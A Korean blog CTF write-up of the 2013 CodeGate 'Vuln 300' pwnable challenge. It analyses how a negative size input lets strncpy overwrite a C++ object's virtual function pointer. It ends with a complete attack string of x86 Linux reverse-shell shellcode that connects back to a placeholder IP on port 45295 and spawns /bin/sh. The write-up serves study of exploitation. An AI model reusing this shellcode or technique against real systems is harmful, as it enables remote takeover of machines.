본문 바로가기

Security

[Pwnable] 2013 CodeGate / Vuln 300

Vulnerable 300

파일을 실행하면, 숫자와 문자열을 입력하라고 한다.


숫자에 32를 입력하고 "aaaa"문자열을 입력하면 A~Z, [~'의 문자열과 함께 입력한 "aaaa"가 출력 된다.

숫자에 2048을 입력하고 "aaaa"를 입력하면 "aaaa" 그대로 출력 된다.

숫자에 -1을 입력하면 Segmentation fault를 출력하며 종료한다.

이제, 프로그램을 IDA로 분석을 한다.



v0에 2052 byte를 할당하고, s(buffer)에 숫자와 문자열을 입력 받는다. 그리고 sub_8048840(class, buffer, size)를 통해 함수를 호출하고, 함수 포인터(정상: reply:)를 호출한다.



sub_8048840(class, buffer, size)를 살펴보면 cmp를 통해 size가 7FFh보다 크면 2번 루트로 가고, 작으면 1번 루트로 간다.

위의 함수를 hex-ray로 분석한다.


for ( i = 0; (-4 ^ (-4 >> 31)) - (-4 >> 31) > i; ++i )
*(_BYTE *)(dest + i + 4) = i + 65;
result =
strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ (-4 >> 31)) - (-4 >> 31)));

for문 안의 연산을 해 보면,

for ( i = 0; (-4 ^ -1) - -1 > i; ++i )
*(_BYTE *)(dest + i + 4) = i + 65;
result = strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ -1) - -1));

------------------------------------------------------------------------------------------------------------------------------
for ( i = 0; 4 > i; ++i )
*(_BYTE *)(dest + i + 4) = i + 65;
result = strncpy((char *)(dest), src, 2044);

결과를 보면, 2번과 달리 1번 루틴에서 -4 값을 넣을 경우, class라고 정해 놓은 변수 처음부터 값을 2044bytes 덮어 쓸 수 있게 된다.




.text:08048825 mov eax, [ebp+var_C] ; myClass
.text:08048828 mov eax, [eax] ; virtual function pointer offset
.text:0804882A mov edx, [eax] ; virtual function offset
.text:0804882C mov eax, [ebp+var_C]
.text:0804882F mov [esp], eax
.text:08048832 call edx ; call virtual function

myClass가 갖고 있는 값을 eax에 옮기고, eax에 닮겨 있는 값을 eax로 옮긴다,



eax의 값이 ABCD로 바뀐 것을 볼 수 있다. 그리고 0x44434241에 주소 값에 넣어져 있는 값을 edx에 옮기고 call edx를 실행한다.
현재 0x44434241은 비정상적인 주소 값이므로, Segmentation fault가 일어나게 된다.

이제 공격 코드를 만들어 보면,

[A][B][ShellCode]가 된다. A는 B의 offset 값 B는 shellcode의 offset 값이 된다. //왜 [A][ShellCode]가 안되는지 잘 모르겠음

공격 코드 :

\xe4\x91\x04\x08\xe8\x91\x04\x08\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51\x68+"IP"+\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80 //port = 45295 // localhost가 \x01\x00\x00\x7F 이므로 strncpy에서 \x00에 의해 짤리므로 localhost 실패

'Security' 카테고리의 다른 글

[ Pwnable ] SIS / System 2  (0) 2013.04.01
[ Pwnable ] SIS / System 1  (0) 2013.04.01
[Reversing] rootkit 1  (0) 2013.04.01
[Pwnable] BOF 원정대  (0) 2012.11.06
Linux란?  (2) 2012.04.19